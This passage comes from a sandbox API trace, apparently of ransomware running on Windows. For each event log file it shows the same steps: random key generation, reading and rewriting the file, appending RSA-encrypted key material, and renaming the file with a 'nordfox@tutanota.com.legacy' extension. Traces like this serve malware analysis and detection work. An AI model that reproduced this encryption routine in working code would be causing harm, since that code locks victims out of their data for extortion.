lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0084.394] CloseHandle (hObject=0x460) returned 1 [0084.396] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584670 | out: hHeap=0x520000) returned 1 [0084.396] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0084.396] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Windows Defender%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-windows defender%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0084.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55bc40 | out: hHeap=0x520000) returned 1 [0084.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5819f8 | out: hHeap=0x520000) returned 1 [0084.399] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581530 | out: hHeap=0x520000) returned 1 [0084.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582c18 [0084.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584778 [0084.399] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0084.399] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584778 | out: pbBuffer=0x584778) returned 1 [0084.399] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0084.399] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0084.400] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582fd8 [0084.400] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ef80 [0084.400] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582fd8 | out: hHeap=0x520000) returned 1 [0084.400] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0084.400] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0084.400] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x584f18 [0084.400] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x595f20 [0084.401] ReadFile (in: hFile=0x460, lpBuffer=0x584f18, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584f18*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0084.424] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0084.424] WriteFile (in: hFile=0x460, lpBuffer=0x595f20*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x595f20*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0084.424] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584f18 | out: hHeap=0x520000) returned 1 [0084.425] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x595f20 | out: hHeap=0x520000) returned 1 [0084.427] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0084.427] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0084.428] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584778*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0084.429] WriteFile (in: hFile=0x460, lpBuffer=0x584778*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584778*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0084.429] WriteFile (in: hFile=0x460, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0084.429] CloseHandle (hObject=0x460) returned 1 [0084.436] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584778 | out: hHeap=0x520000) returned 1 [0084.436] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0084.436] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0084.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ef80 | out: hHeap=0x520000) returned 1 [0084.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582c18 | out: hHeap=0x520000) returned 1 [0084.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582948 | out: hHeap=0x520000) returned 1 [0084.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581750 [0084.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584250 [0084.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0084.438] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584250 | out: pbBuffer=0x584250) returned 1 [0084.438] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0084.438] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0084.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581420 [0084.438] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x584f18 [0084.438] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581420 | out: hHeap=0x520000) returned 1 [0084.438] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0084.438] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0084.439] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585000 [0084.439] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596008 [0084.439] ReadFile (in: hFile=0x460, lpBuffer=0x585000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585000*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0084.505] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0084.505] WriteFile (in: hFile=0x460, lpBuffer=0x596008*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0084.505] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585000 | out: hHeap=0x520000) returned 1 [0084.505] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596008 | out: hHeap=0x520000) returned 1 [0084.507] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0084.507] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0084.507] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584250*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0084.508] WriteFile (in: hFile=0x460, lpBuffer=0x584250*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0084.509] WriteFile (in: hFile=0x460, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0084.509] CloseHandle (hObject=0x460) returned 1 [0084.511] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584250 | out: hHeap=0x520000) returned 1 [0084.512] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0084.512] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0084.516] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584f18 | out: hHeap=0x520000) returned 1 [0084.516] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581750 | out: hHeap=0x520000) returned 1 [0084.516] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581398 | out: hHeap=0x520000) returned 1 [0084.516] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582ee8 [0084.516] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584670 [0084.516] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0084.516] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584670 | out: pbBuffer=0x584670) returned 1 [0084.517] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0084.517] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx", dwFileAttributes=0x80) returned 1 [0084.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5823a8 [0084.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57ed28 [0084.559] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5823a8 | out: hHeap=0x520000) returned 1 [0084.559] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0084.559] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0084.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x584f18 [0084.559] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x595f20 [0084.559] ReadFile (in: hFile=0x460, lpBuffer=0x584f18, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584f18*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0084.641] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0084.641] WriteFile (in: hFile=0x460, lpBuffer=0x595f20*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x595f20*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0084.641] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584f18 | out: hHeap=0x520000) returned 1 [0084.642] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x595f20 | out: hHeap=0x520000) returned 1 [0084.644] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0084.645] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0084.645] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0084.646] WriteFile (in: hFile=0x460, lpBuffer=0x584670*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584670*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0084.646] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0084.647] CloseHandle (hObject=0x460) returned 1 [0084.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584670 | out: hHeap=0x520000) returned 1 [0084.664] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0084.664] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-UserPnp%4DeviceInstall.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-userpnp%4deviceinstall.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0084.666] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57ed28 | out: hHeap=0x520000) returned 1 [0084.667] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582ee8 | out: hHeap=0x520000) returned 1 [0084.667] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582600 | out: hHeap=0x520000) returned 1 [0084.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582948 [0084.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584670 [0084.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0084.667] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584670 | out: pbBuffer=0x584670) returned 1 [0084.667] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0084.667] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx", dwFileAttributes=0x80) returned 1 [0084.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582fd8 [0084.667] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e7b0 [0084.667] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582fd8 | out: hHeap=0x520000) returned 1 [0084.668] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0084.668] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0084.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x584f18 [0084.668] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x595f20 [0084.668] ReadFile (in: hFile=0x460, lpBuffer=0x584f18, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584f18*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0084.689] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0084.689] WriteFile (in: hFile=0x460, lpBuffer=0x595f20*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x595f20*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0084.690] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584f18 | out: hHeap=0x520000) returned 1 [0084.691] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x595f20 | out: hHeap=0x520000) returned 1 [0084.694] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0084.694] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0084.694] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584670*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0084.695] WriteFile (in: hFile=0x460, lpBuffer=0x584670*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584670*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0084.696] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0084.696] CloseHandle (hObject=0x460) returned 1 [0084.704] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584670 | out: hHeap=0x520000) returned 1 [0084.704] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0084.705] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0084.708] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57e7b0 | out: hHeap=0x520000) returned 1 [0084.708] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582948 | out: hHeap=0x520000) returned 1 [0084.708] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582e70 | out: hHeap=0x520000) returned 1 [0084.708] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581c18 [0084.708] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584880 [0084.708] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0084.708] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584880 | out: pbBuffer=0x584880) returned 1 [0084.708] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0084.708] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0084.709] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581860 [0084.709] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x584f18 [0084.709] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581860 | out: hHeap=0x520000) returned 1 [0084.709] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0084.709] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0084.709] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585000 [0084.709] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596008 [0084.709] ReadFile (in: hFile=0x460, lpBuffer=0x585000, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585000*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0084.767] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0084.767] WriteFile (in: hFile=0x460, lpBuffer=0x596008*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0084.768] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585000 | out: hHeap=0x520000) returned 1 [0084.768] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596008 | out: hHeap=0x520000) returned 1 [0084.769] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0084.769] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0084.769] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0084.771] WriteFile (in: hFile=0x460, lpBuffer=0x584880*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0084.771] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0084.771] CloseHandle (hObject=0x460) returned 1 [0084.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584880 | out: hHeap=0x520000) returned 1 [0084.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0084.778] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-User Profile Service%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-user profile service%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0084.786] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584f18 | out: hHeap=0x520000) returned 1 [0084.786] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581c18 | out: hHeap=0x520000) returned 1 [0084.786] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581a80 | out: hHeap=0x520000) returned 1 [0084.786] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582330 [0084.786] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584ca0 [0084.786] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0d0 [0084.786] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584ca0 | out: pbBuffer=0x584ca0) returned 1 [0084.786] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0d0 | out: pbBuffer=0x54d0d0) returned 1 [0084.786] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0084.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582600 [0084.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57e878 [0084.787] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582600 | out: hHeap=0x520000) returned 1 [0084.787] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-twinui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0084.787] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0084.787] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, 